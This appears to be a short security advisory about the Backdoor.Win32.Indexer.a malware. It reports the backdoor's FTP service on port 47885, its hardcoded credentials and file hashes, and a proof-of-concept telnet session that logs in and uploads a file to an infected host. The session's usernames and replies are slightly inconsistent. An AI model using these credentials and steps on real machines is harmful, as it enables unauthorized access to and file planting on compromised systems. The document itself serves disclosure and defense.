Backdoor.Win32.Indexer.a Hardcoded Credentials

Backdoor.Win32.Indexer.a malware has a backdoor with weak hardcoded credentials.

MD5 | a95609de4b4cc00f19e23b9292194bf2

Discovery / credits: Malvuln - (c) 2021
Original source:
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Threat: Backdoor.Win32.Indexer.a
Vulnerability: Hardcoded Weak Credentials
Description: Indexer.a backdoor runs an FTP server that listens on TCP port 47885 and uses several weak hardcoded credentials "Ronald Reagen", "Boris Becker", "Donald Duck". The credentials can be easily veiwed in the binary using strings util. This can allow anyone with up front knowledge to logon to the infected system.
Type: PE32
MD5: 2b576e7551afe1c7575dc680396f1b5b
Vuln ID: MVID-2021-0091
Dropped files:
Disclosure: 02/15/2021

TELNET [Malware_Infected_Host] 47885

220 ICS FTP Server ready
USER Ronald
331 Password required for Donald.
PASS Reagen
230 User Donald logged in.
250 CWD command successful. "C:/TEMP/" is current directory.
227 Entering Passive Mode (192,168,1,10,194,197).
STOR 1.js
150 Opening data connection for 1.js.
226 File received ok

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